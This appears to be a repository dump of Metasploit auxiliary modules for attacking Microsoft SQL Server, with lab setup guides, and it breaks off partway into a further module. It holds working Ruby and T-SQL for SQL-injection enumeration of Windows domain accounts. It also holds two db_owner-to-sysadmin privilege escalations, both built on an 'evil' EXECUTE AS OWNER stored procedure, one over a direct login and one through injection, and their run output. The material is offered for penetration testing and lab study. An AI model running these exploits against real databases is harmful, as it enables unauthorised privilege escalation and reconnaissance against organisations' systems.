| include Msf::Auxiliary::Report 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration', 17 | 'Description' => %q{ 18 | This module can be used to bruteforce RIDs associated with the domain of the SQL Server 19 | using the SUSER_SNAME function via Error Based SQL injection. This is similar to the 20 | smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC 21 | role (everyone). Information that can be enumerated includes Windows domain users, groups, 22 | and computer accounts. Enumerated accounts can then be used in online dictionary attacks. 23 | The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];-- 24 | }, 25 | 'Author' => 26 | [ 27 | 'nullbind ', 28 | 'antti ' 29 | ], 30 | 'License' => MSF_LICENSE, 31 | 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']] 32 | )) 33 | 34 | register_options( 35 | [ 36 | OptInt.new('STARTRID', [true, 'RID to start fuzzing at.', 500]), 37 | OptInt.new('ENDRID', [true, 'RID to stop fuzzing at.', 3000]) 38 | ], self.class) 39 | end 40 | 41 | def run 42 | print_status("#{peer} - Grabbing the SQL Server name and domain...") 43 | db_server_name = get_server_name 44 | if db_server_name.nil? 45 | print_error("#{peer} - Unable to grab the server name") 46 | return 47 | else 48 | print_good("#{peer} - Server name: #{db_server_name}") 49 | end 50 | 51 | db_domain_name = get_domain_name 52 | if db_domain_name.nil? 53 | print_error("#{peer} - Unable to grab domain name") 54 | return 55 | end 56 | 57 | # Check if server is on a domain 58 | if db_server_name == db_domain_name 59 | print_error("#{peer} - The SQL Server does not appear to be part of a Windows domain") 60 | return 61 | else 62 | print_good("#{peer} - Domain name: #{db_domain_name}") 63 | end 64 | 65 | print_status("#{peer} - Grabbing the SID for the domain...") 66 | windows_domain_sid = get_windows_domain_sid(db_domain_name) 67 | if windows_domain_sid.nil? 68 | print_error("#{peer} - Could not recover the SQL Server's domain sid.") 69 | return 70 | else 71 | print_good("#{peer} - Domain sid: #{windows_domain_sid}") 72 | end 73 | 74 | # Get a list of windows users, groups, and computer accounts using SUSER_NAME() 75 | total_rids = datastore['ENDRID'] - datastore['STARTRID'] 76 | print_status("#{peer} - Brute forcing #{total_rids} RIDs via SQL injection, be patient...") 77 | domain_users = get_win_domain_users(windows_domain_sid) 78 | if domain_users.nil? 79 | print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.") 80 | return 81 | end 82 | 83 | # Print number of objects found and write to a file 84 | print_good("#{peer} - #{domain_users.length} user accounts, groups, and computer accounts were found.") 85 | 86 | # Create table for report 87 | windows_domain_login_table = Rex::Ui::Text::Table.new( 88 | 'Header' => 'Windows Domain Accounts', 89 | 'Ident' => 1, 90 | 'Columns' => ['name'] 91 | ) 92 | 93 | # Add brute forced names to table 94 | domain_users.each do |object_name| 95 | windows_domain_login_table << [object_name] 96 | end 97 | 98 | print_line(windows_domain_login_table.to_s) 99 | 100 | # Create output file 101 | filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv" 102 | path = store_loot( 103 | 'mssql.domain.accounts', 104 | 'text/plain', 105 | datastore['RHOST'], 106 | windows_domain_login_table.to_csv, 107 | filename, 108 | 'SQL Server query results' 109 | ) 110 | print_status("Query results have been saved to: #{path}") 111 | end 112 | 113 | # Get the server name 114 | def get_server_name 115 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) 116 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) 117 | sql = "(select '#{clue_start}'+@@servername+'#{clue_end}')" 118 | 119 | result = mssql_query(sql) 120 | 121 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ 122 | instance_name = $1 123 | sql_server_name = instance_name.split('\\')[0] 124 | else 125 | sql_server_name = nil 126 | end 127 | 128 | sql_server_name 129 | end 130 | 131 | # Get the domain name of the SQL Server 132 | def get_domain_name 133 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) 134 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) 135 | sql = "(select '#{clue_start}'+DEFAULT_DOMAIN()+'#{clue_end}')" 136 | 137 | result = mssql_query(sql) 138 | 139 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ 140 | domain_name = $1 141 | else 142 | domain_name = nil 143 | end 144 | 145 | domain_name 146 | end 147 | 148 | # Get the SID for the domain 149 | def get_windows_domain_sid(db_domain_name) 150 | domain_group = "#{db_domain_name}\\Domain Admins" 151 | 152 | clue_start = Rex::Text.rand_text_alpha(8) 153 | clue_end = Rex::Text.rand_text_alpha(8) 154 | 155 | sql = "(select cast('#{clue_start}'+(select stuff(upper(sys.fn_varbintohexstr((SELECT SUSER_SID('#{domain_group}')))), 1, 2, ''))+'#{clue_end}' as int))" 156 | 157 | result = mssql_query(sql) 158 | 159 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ 160 | object_sid = $1 161 | domain_sid = object_sid[0..47] 162 | return nil if domain_sid.empty? 163 | else 164 | domain_sid = nil 165 | end 166 | 167 | domain_sid 168 | end 169 | 170 | # Get list of windows accounts, groups and computer accounts 171 | def get_win_domain_users(domain_sid) 172 | clue_start = Rex::Text.rand_text_alpha(8) 173 | clue_end = Rex::Text.rand_text_alpha(8) 174 | 175 | windows_logins = [] 176 | 177 | # Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function 178 | (datastore['STARTRID']..datastore['ENDRID']).each do |principal_id| 179 | total_rids = datastore['ENDRID'] - datastore['STARTRID'] 180 | rid_diff = (datastore['ENDRID'] - (datastore['ENDRID'] - principal_id)) - datastore['STARTRID'] 181 | if principal_id % 100 == 0 182 | print_status("#{peer} - #{rid_diff} of #{total_rids } RIDs complete") 183 | end 184 | 185 | user_sid = build_user_sid(domain_sid, principal_id) 186 | 187 | # Return if sid does not resolve correctly for a domain 188 | if user_sid.length < 48 189 | return nil 190 | end 191 | 192 | sql = "(SELECT '#{clue_start}'+(SELECT SUSER_SNAME(#{user_sid}) as name)+'#{clue_end}')" 193 | 194 | result = mssql_query(sql) 195 | 196 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ 197 | windows_login = $1 198 | 199 | unless windows_login.empty? || windows_logins.include?(windows_login) 200 | windows_logins.push(windows_login) 201 | print_good("#{peer} - #{windows_login}") 202 | end 203 | end 204 | 205 | end 206 | 207 | windows_logins 208 | end 209 | 210 | def build_user_sid(domain_sid, rid) 211 | # Convert number to hex and fix order 212 | principal_id = "%02X" % rid 213 | principal_id = principal_id.size.even? ? principal_id : "0#{principal_id}" 214 | principal_id = principal_id.scan(/(..)/).reverse.join 215 | # Add padding 216 | principal_id = principal_id.ljust(8, '0') 217 | 218 | # Create full sid 219 | "0x#{domain_sid}#{principal_id}" 220 | end 221 | 222 | end 223 | -------------------------------------------------------------------------------- /mssql_escalate_dbowner.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/exploit/mssql_commands' 8 | 9 | class Metasploit3 < Msf::Auxiliary 10 | 11 | include Msf::Exploit::Remote::MSSQL 12 | include Msf::Auxiliary::Scanner 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Microsoft SQL Server - Escalate Db_Owner', 17 | 'Description' => %q{ 18 | This module can be used to escalate privileges to sysadmin if the user has 19 | the db_owner role in a "trustworthy" database owned by a sysadmin user. Once 20 | the user has the sysadmin role the msssql_payload module can be used to obtain 21 | a shell on the system. 22 | }, 23 | 'Author' => [ 'nullbind '], 24 | 'License' => MSF_LICENSE, 25 | 'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']] 26 | )) 27 | end 28 | 29 | def run_host(ip) 30 | # Check connection and issue initial query 31 | print_status("Attempting to connect to the database server at #{ip} as #{datastore['username']}...") 32 | if mssql_login_datastore == false 33 | print_error('Login was unsuccessful. Check your credentials.') 34 | disconnect 35 | return 36 | else 37 | print_good('Connected.') 38 | end 39 | 40 | # Query for sysadmin status 41 | print_status("Checking if #{datastore['username']} has the sysadmin role...") 42 | begin 43 | mystatus = check_sysadmin 44 | rescue 45 | print_error('Sorry, the database connection failed.') 46 | end 47 | 48 | # Check if user has sysadmin role 49 | if mystatus == 1 50 | print_good("#{datastore['username']} has the sysadmin role, no escalation required.") 51 | else 52 | 53 | # Check for trusted databases owned by sysadmins 54 | print_status("You're NOT a sysadmin, let's try to change that.") 55 | print_status("Checking for trusted databases owned by sysadmins...") 56 | trustdb_list = check_trustdbs 57 | if trustdb_list == 0 58 | print_error('No databases owned by sysadmin were found flagged as trustworthy.') 59 | else 60 | 61 | # Display list of accessible databases to user 62 | trustdb_list.each { |trustdb| 63 | print_status(" - #{trustdb[0]}") 64 | } 65 | 66 | # Check if the user has the db_owner role in any of the databases 67 | print_status('Checking if the user has the db_owner role in any of them...') 68 | dbowner_status = check_db_owner(trustdb_list) 69 | if dbowner_status == 0 70 | print_error("Fail buckets, the user doesn't have db_owner role anywhere.") 71 | else 72 | 73 | # Attempt to escalate to sysadmin 74 | print_status("Attempting to escalate in #{dbowner_status}...") 75 | escalate_status = escalate_privs(dbowner_status) 76 | if escalate_status == 1 77 | 78 | # Check if escalation was successful 79 | mystatus = check_sysadmin 80 | if mystatus == 1 81 | print_good("Congrats, #{datastore['username']} is now a sysadmin!.") 82 | else 83 | print_error("Fail buckets, something went wrong.") 84 | end 85 | else 86 | print_error("Fail buckets, something went wrong.") 87 | end 88 | end 89 | end 90 | end 91 | end 92 | 93 | # ---------------------------------------------- 94 | # Method to check if user is already sysadmin 95 | # ---------------------------------------------- 96 | def check_sysadmin 97 | # Setup query to check for sysadmin 98 | sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" 99 | 100 | # Run query 101 | result = mssql_query(sql, false) if mssql_login_datastore 102 | disconnect 103 | 104 | # Parse query results 105 | parse_results = result[:rows] 106 | mystatus = parse_results[0][0] 107 | 108 | # Return status 109 | return mystatus 110 | end 111 | 112 | # ---------------------------------------------- 113 | # Method to get trusted databases owned by sysadmins 114 | # ---------------------------------------------- 115 | def check_trustdbs 116 | # Setup query 117 | sql = "SELECT d.name AS DATABASENAME 118 | FROM sys.server_principals r 119 | INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id 120 | INNER JOIN sys.server_principals p ON 121 | p.principal_id = m.member_principal_id 122 | inner join sys.databases d on suser_sname(d.owner_sid) = p.name 123 | WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'" 124 | 125 | begin 126 | # Run query 127 | result = mssql_query(sql, false) if mssql_login_datastore 128 | disconnect 129 | 130 | # Parse query results 131 | parse_results = result[:rows] 132 | trustedb_count = parse_results.count 133 | print_good("#{trustedb_count} affected database(s) were found:") 134 | 135 | # Return on success 136 | return parse_results 137 | rescue 138 | # Return on fail 139 | return 0 140 | end 141 | end 142 | 143 | # ---------------------------------------------- 144 | # Method to check if user has the db_owner role 145 | # ---------------------------------------------- 146 | def check_db_owner(trustdb_list) 147 | # Check if the user has the db_owner role is any databases 148 | trustdb_list.each { |db| 149 | begin 150 | # Setup query 151 | sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user 152 | from [#{db[0]}].sys.database_role_members drm 153 | join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id) 154 | join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id) 155 | where rp.name = 'db_owner' and mp.name = SYSTEM_USER" 156 | 157 | # Run query 158 | result = mssql_query(sql, false) if mssql_login_datastore 159 | disconnect 160 | 161 | # Parse query results 162 | parse_results = result[:rows] 163 | if parse_results.any? 164 | print_good("- db_owner on #{db[0]} found!") 165 | return db[0] 166 | end 167 | rescue 168 | print_error("- No db_owner on #{db[0]}") 169 | end 170 | } 171 | end 172 | 173 | # ---------------------------------------------- 174 | # Method to escalate privileges 175 | # ---------------------------------------------- 176 | def escalate_privs(dbowner_db) 177 | # Create the evil stored procedure WITH EXECUTE AS OWNER 178 | begin 179 | # Setup query 180 | evilsql_create = "use #{dbowner_db}; 181 | DECLARE @myevil as varchar(max) 182 | set @myevil = ' 183 | CREATE PROCEDURE sp_elevate_me 184 | WITH EXECUTE AS OWNER 185 | as 186 | begin 187 | EXEC sp_addsrvrolemember ''#{datastore['username']}'',''sysadmin'' 188 | end'; 189 | exec(@myevil); 190 | select 1;" 191 | 192 | # Run query 193 | mssql_query(evilsql_create, false) if mssql_login_datastore 194 | disconnect 195 | rescue 196 | 197 | # Return error 198 | error = 'Failed to create stored procedure.' 199 | return error 200 | end 201 | 202 | # Run the evil stored procedure 203 | begin 204 | 205 | # Setup query 206 | evilsql_run = "use #{dbowner_db}; 207 | DECLARE @myevil2 as varchar(max) 208 | set @myevil2 = 'EXEC sp_elevate_me' 209 | exec(@myevil2);" 210 | 211 | # Run query 212 | mssql_query(evilsql_run, false) if mssql_login_datastore 213 | disconnect 214 | rescue 215 | 216 | # Return error 217 | error = 'Failed to run stored procedure.' 218 | return error 219 | end 220 | 221 | # Remove evil procedure 222 | begin 223 | 224 | # Setup query 225 | evilsql_remove = "use #{dbowner_db}; 226 | DECLARE @myevil3 as varchar(max) 227 | set @myevil3 = 'DROP PROCEDURE sp_elevate_me' 228 | exec(@myevil3);" 229 | 230 | # Run query 231 | mssql_query(evilsql_remove, false) if mssql_login_datastore 232 | disconnect 233 | 234 | # Return value 235 | return 1 236 | rescue 237 | 238 | # Return error 239 | error = 'Failed to run stored procedure.' 240 | return error 241 | end 242 | end 243 | end 244 | -------------------------------------------------------------------------------- /mssql_escalate_dbowner_lab_guide.txt: -------------------------------------------------------------------------------- 1 | SQL Server: Escalating from db_Owner to sysadmin 2 | Lab setup guide 3 | 4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_escalate_dbowner module. 5 | 6 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx 7 | 8 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab. 9 | 10 | 3. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application. 11 | 12 | 4. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab. 13 | 14 | -- Create database 15 | CREATE DATABASE MyAppDb 16 | 17 | -- Verify sa is the owner of the application database 18 | SELECT suser_sname(owner_sid) 19 | FROM sys.databases 20 | WHERE name = 'MyAppDb' 21 | 22 | 5. Press the "New Query" button and use the TSQL below to create a database user named "MyAppUser" for the lab. In the real world some DBAs create an account like this to allow applications to connect to the database server. 23 | 24 | -- Create login 25 | CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!'; 26 | 27 | 6. Press the "New Query" button and use the TSQL below to assign "MyAppUser" the "db_owner" role in the "MyAppDb" database. In the real world a DBA might do this so that the application can access what it needs in its application database once logged in. 28 | 29 | -- Setup MyAppUsers the db_owner role in MyAppDb 30 | USE MyAppDb 31 | ALTER LOGIN [MyAppUser] with default_database = [MyAppDb]; 32 | CREATE USER [MyAppUser] FROM LOGIN [MyAppUser]; 33 | EXEC sp_addrolemember [db_owner], [MyAppUser]; 34 | 35 | 7. Confirm the "MyAppUser" was added as db_owner. 36 | 37 | -- Verify the user was added as db_owner 38 | select rp.name as database_role, mp.name as database_user 39 | from sys.database_role_members drm 40 | join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) 41 | join sys.database_principals mp on (drm.member_principal_id = mp.principal_id) 42 | 43 | 8. Set the "MyAppDb" database as trusted using the TSQL below. DBAs tend to do this when custom stored procedures access tables from other databases or when the custom stored procedures use native stored procedures that access external resources. 44 | 45 | -- Flag database as trusted 46 | ALTER DATABASE MyAppDb SET TRUSTWORTHY ON 47 | 48 | 9. The query below will return all of the databases in the SQL Server instance, and the "MyAppDb" and "MSDB" databases should be flagged as trustworthy. 49 | 50 | SELECT a.name,b.is_trustworthy_on 51 | FROM master..sysdatabases as a 52 | INNER JOIN sys.databases as b 53 | ON a.name=b.name; 54 | 55 | 10. Make sure to enable the tcp protocol so that module can connect to the listener. 56 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx 57 | 58 | 11. Test out the module. 59 | 60 | use auxiliary/admin/mssql/mssql_esclaate_dbowner 61 | set rhosts 62 | set rport 63 | set username MyAppUser 64 | set password MyPassword! 65 | run 66 | 67 | [*] Attempting to connect to the database server at 192.168.1.5 as MyAppUser... 68 | [+] Connected. 69 | [*] Checking if MyAppUser has the sysadmin role... 70 | [*] You're NOT a sysadmin, let's try to change that. 71 | [*] Checking for trusted databases owned by sysadmins... 72 | [+] 1 affected database(s) were found: 73 | [*] - MyAppDb 74 | [*] Checking if the user has the db_owner role in any of them... 75 | [+] - db_owner on MyAppDb found! 76 | [*] Attempting to escalate in MyAppDb... 77 | [+] Congrats, MyAppUser is now a sysadmin!. 78 | [*] Scanned 1 of 1 hosts (100% complete) 79 | [*] Auxiliary module execution completed 80 | 81 | -------------------------------------------------------------------------------- /mssql_escalate_dbowner_sqli.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/exploit/mssql_commands' 8 | 9 | class Metasploit3 < Msf::Auxiliary 10 | 11 | include Msf::Exploit::Remote::MSSQL_SQLI 12 | include Msf::Auxiliary::Report 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Microsoft SQL Server - Escalate Db_Owner - SQLi', 17 | 'Description' => %q{ 18 | This module can be used to escalate privileges to sysadmin if the user has 19 | the db_owner role in a trustworthy database owned by a sysadmin user. Once 20 | the user has the sysadmin role the mssql_payload_sqli module can be used to obtain 21 | a shell on the system. 22 | 23 | Syntax for injection URLs: 24 | 25 | Error: /account.asp?id=1+and+1=[SQLi];-- 26 | }, 27 | 'Author' => 28 | [ 29 | 'nullbind ' 30 | ], 31 | 'Author' => [ 'nullbind '], 32 | 'License' => MSF_LICENSE, 33 | 'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']] 34 | )) 35 | end 36 | 37 | def run 38 | 39 | # Get the database user name 40 | print_status("Grabbing the database user name from #{rhost}:#{rport}...") 41 | db_user = get_username 42 | print_good("Database user: #{db_user}") 43 | 44 | # Grab sysadmin status 45 | print_status("Checking if #{db_user} is already a sysadmin...") 46 | sysadmin_status = check_sysadmin 47 | if sysadmin_status == 1 48 | print_good("#{db_user} is already a sysadmin, no esclation needed.") 49 | return 50 | else 51 | print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.") 52 | end 53 | 54 | # Check for trusted databases owned by sysadmins 55 | print_status("Checking for trusted databases owned by sysadmins...") 56 | trust_db_list = check_trust_dbs 57 | if trust_db_list.nil? || trust_db_list.length == 0 58 | print_error('No databases owned by sysadmin were found flagged as trustworthy.') 59 | return 60 | else 61 | # Display list of accessible databases to user 62 | print_good("#{trust_db_list.length} affected database(s) were found:") 63 | 64 | if trust_db_list.length == 1 65 | trust_db_one = trust_db_list.flatten.first 66 | print_status(" - #{trust_db_one}") 67 | else 68 | trust_db_list.each do |db| 69 | print_status(" - #{db[0]}") 70 | end 71 | end 72 | end 73 | 74 | # Check if the user has the db_owner role in any of the databases 75 | print_status("Checking if #{db_user} has the db_owner role in any of them...") 76 | dbowner_status = check_db_owner(trust_db_list) 77 | if dbowner_status.nil? 78 | print_error("Fail buckets, the user doesn't have db_owner role anywhere.") 79 | return 80 | else 81 | print_good("#{db_user} has the db_owner role on #{dbowner_status}.") 82 | end 83 | 84 | # Attempt to escalate to sysadmin 85 | print_status("Attempting to add #{db_user} to sysadmin role...") 86 | escalate_status = escalate_privs(dbowner_status,db_user) 87 | if escalate_status == 1 88 | print_good("Success! #{db_user} is now a sysadmin!") 89 | else 90 | print_error("Fail buckets, something went wrong.") 91 | end 92 | end 93 | 94 | # 95 | # Functions 96 | # 97 | 98 | def get_username 99 | # Setup query to check for database username 100 | sql = "(select 'EVILSQLISTART'+SYSTEM_USER+'EVILSQLISTOP')" 101 | 102 | # Run query 103 | result = mssql_query(sql) 104 | 105 | # Parse result 106 | parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first 107 | 108 | # Return user name 109 | return parsed_result 110 | end 111 | 112 | def check_sysadmin 113 | # Setup query to check for sysadmin 114 | sql = "(select 'EVILSQLISTART'+cast((select is_srvrolemember('sysadmin'))as varchar)+'EVILSQLISTOP')" 115 | 116 | # Run query 117 | result = mssql_query(sql) 118 | 119 | # Parse result 120 | parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first 121 | 122 | # Return sysadmin status 123 | return parsed_result.to_i 124 | end 125 | 126 | def check_trust_dbs 127 | # Setup query to check for trusted databases owned by sysadmins 128 | sql = "(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as DbName 129 | FROM sys.server_principals r 130 | INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id 131 | INNER JOIN sys.server_principals p ON 132 | p.principal_id = m.member_principal_id 133 | inner join sys.databases d on suser_sname(d.owner_sid) = p.name 134 | WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))" 135 | 136 | # Run query 137 | result = mssql_query(sql) 138 | 139 | #Parse results 140 | parsed_result = result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m) 141 | 142 | # Return sysadmin status 143 | return parsed_result 144 | end 145 | 146 | def check_db_owner(trust_db_list) 147 | # Check if the user has the db_owner role is any databases 148 | trust_db_list.each do |db| 149 | # Setup query 150 | sql = "(select 'EVILSQLISTART'+'#{db[0]}'+'EVILSQLISTOP' as DbName 151 | from [#{db[0]}].sys.database_role_members drm 152 | join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id) 153 | join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id) 154 | where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))" 155 | 156 | # Run query 157 | result = mssql_query(sql) 158 | 159 | # Parse result 160 | parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first 161 | 162 | # Return sysadmin status 163 | return parsed_result 164 | end 165 | nil 166 | end 167 | 168 | # Attempt to escalate privileges 169 | def escalate_privs(dbowner_db,db_user) 170 | # Create the evil stored procedure WITH EXECUTE AS OWNER 171 | evil_sql_create = "1;use #{dbowner_db}; 172 | DECLARE @myevil as varchar(max) 173 | set @myevil = ' 174 | CREATE PROCEDURE sp_elevate_me 175 | WITH EXECUTE AS OWNER 176 | as 177 | begin 178 | EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin'' 179 | end'; 180 | exec(@myevil);--" 181 | mssql_query(evil_sql_create) 182 | 183 | # Run the evil stored procedure 184 | evilsql_run = "1;use #{dbowner_db}; 185 | DECLARE @myevil2 as varchar(max) 186 | set @myevil2 = 'EXEC sp_elevate_me' 187 | exec(@myevil2);--" 188 | mssql_query(evilsql_run) 189 | 190 | # Remove evil procedure 191 | evilsql_remove = "1;use #{dbowner_db}; 192 | DECLARE @myevil3 as varchar(max) 193 | set @myevil3 = 'DROP PROCEDURE sp_elevate_me' 194 | exec(@myevil3);--" 195 | mssql_query(evilsql_remove) 196 | 197 | # Check sysadmin status 198 | sysadmin_status = check_sysadmin 199 | 200 | # return parsed_result 201 | return sysadmin_status.to_i 202 | end 203 | end 204 | -------------------------------------------------------------------------------- /mssql_escalate_dbowner_sqli_lab_guide.txt: -------------------------------------------------------------------------------- 1 | SQL Server: Escalating from db_Owner to sysadmin via SQL Injection 2 | Lab setup guide 3 | 4 | Below I've provided some basic steps for setting up a SQL Server instance and asp page that can be used to replicate the scenario exploited by the mssql_escalate_dbowner module. 5 | 6 | ---------------- 7 | Database Setup 8 | ---------------- 9 | 10 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx 11 | 12 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab. 13 | 14 | 3. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application. 15 | 16 | 4. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab. 17 | 18 | -- Create database 19 | CREATE DATABASE MyAppDb 20 | 21 | -- Verify sa is the owner of the application database 22 | SELECT suser_sname(owner_sid) 23 | FROM sys.databases 24 | WHERE name = 'MyAppDb' 25 | 26 | 5. Press the "New Query" button and use the TSQL below to create a database user named "MyAppUser" for the lab. In the real world some DBAs create an account like this to allow applications to connect to the database server. 27 | 28 | -- Create login 29 | CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!'; 30 | 31 | 6. Press the "New Query" button and use the TSQL below to assign "MyAppUser" the "db_owner" role in the "MyAppDb" database. In the real world a DBA might do this so that the application can access what it needs in its application database once logged in. 32 | 33 | -- Setup MyAppUsers the db_owner role in MyAppDb 34 | USE MyAppDb 35 | ALTER LOGIN [MyAppUser] with default_database = [MyAppDb]; 36 | CREATE USER [MyAppUser] FROM LOGIN [MyAppUser]; 37 | EXEC sp_addrolemember [db_owner], [MyAppUser]; 38 | 39 | 7. Confirm the "MyAppUser" was added as db_owner. 40 | 41 | -- Verify the user was added as db_owner 42 | select rp.name as database_role, mp.name as database_user 43 | from sys.database_role_members drm 44 | join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) 45 | join sys.database_principals mp on (drm.member_principal_id = mp.principal_id) 46 | 47 | 8. Set the "MyAppDb" database as trusted using the TSQL below. DBAs tend to do this when custom stored procedures access tables from other databases or when the custom stored procedures use native stored procedures that access external resources. 48 | 49 | -- Flag database as trusted 50 | ALTER DATABASE MyAppDb SET TRUSTWORTHY ON 51 | 52 | 9. The query below will return all of the databases in the SQL Server instance, and the "MyAppDb" and "MSDB" databases should be flagged as trustworthy. 53 | 54 | SELECT a.name,b.is_trustworthy_on 55 | FROM master..sysdatabases as a 56 | INNER JOIN sys.databases as b 57 | ON a.name=b.name; 58 | 59 | 10. Add a table with records 60 | 61 | -- Create table1 62 | CREATE TABLE dbo.NOCList 63 | (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL) 64 | 65 | -- Add sample records to table 66 | INSERT dbo.NOCList (SpyName, RealName) 67 | VALUES ('James Bond','Sean Connery') 68 | INSERT dbo.NOCList (SpyName, RealName) 69 | VALUES ('Ethan Hunt','Tom Cruise') 70 | INSERT dbo.NOCList (SpyName, RealName) 71 | VALUES ('Jason Bourne','Matt Damon') 72 | 73 | 11. Verify the table was addded 74 | 75 | SELECT * FROM NOCList 76 | 77 | ---------------- 78 | Web Server Setup 79 | ---------------- 80 | 1. Setup a local IIS server 81 | 2. Make sure its configured to process asp pages 82 | 3. Download testing.asp to web root from https://github.com/nullbind/Metasploit-Modules/blob/master/testing.asp 83 | 4. Update the db_server, db_name, db_username and db_userpassword variables 84 | 5. Verify the page works by accessing: http://127.0.0.1/testing.asp?id=1 85 | 6. Verify the id parameter is injectable and error are returned: http://127.0.0.1/testing.asp?id=@@version 86 | 87 | --------------- 88 | Setup Module 89 | --------------- 90 | use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli 91 | set GET_PATH /testing.asp?id=1+and+1=[SQLi];-- 92 | set rhost 127.0.0.1 93 | 94 | msf auxiliary(mssql_escalate_dbowner_sqli) > run 95 | 96 | [*] Grabbing the database user name from 10.2.9.101:80... 97 | [+] Database user: MyAppUser 98 | [*] Checking if MyAppUser is already a sysadmin... 99 | [+] MyAppUser is NOT a sysadmin, let's try to escalate privileges. 100 | [*] Checking for trusted databases owned by sysadmins... 101 | [+] 1 affected database(s) were found: 102 | [*] - LVADB 103 | [*] Checking if MyAppUser has the db_owner role in any of them... 104 | [+] MyAppUser has the db_owner role on LVADB. 105 | [*] Attempting to add MyAppUser to sysadmin role... 106 | [+] Success! MyAppUser is now a sysadmin! 107 | [*] Auxiliary module execution completed 108 | 109 | msf auxiliary(mssql_escalate_dbowner_sqli) > run 110 | 111 | [*] Grabbing the database user name from 10.2.9.101:80... 112 | [+] Database user: MyAppUser 113 | [*] Checking if MyAppUser is already a sysadmin... 114 | [+] MyAppUser is already a sysadmin, no esclation needed. 115 | [*] Auxiliary module execution completed 116 | msf auxiliary(mssql_escalate_dbowner_sqli) > 117 | -------------------------------------------------------------------------------- /mssql_escalate_executeas.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/exploit/mssql_commands' 8 | 9 | class Metasploit3 < Msf::Auxiliary 10 | 11 | include Msf::Exploit::Remote::MSSQL 12 | 13 | def initialize(info = {}) 14 | super(update_info(info, 15 | 'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS', 16 | 'Description' => %q{ 17 | This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user. 18 | In most cases this results in additional data access, but in some cases it can be used to gain sysadmin 19 | privileges. 20 | }, 21 | 'Author' => [ 'nullbind '], 22 | 'License' => MSF_LICENSE, 23 | 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']] 24 | )) 25 | end 26 | 27 | def run 28 | # Check connection and issue initial query 29 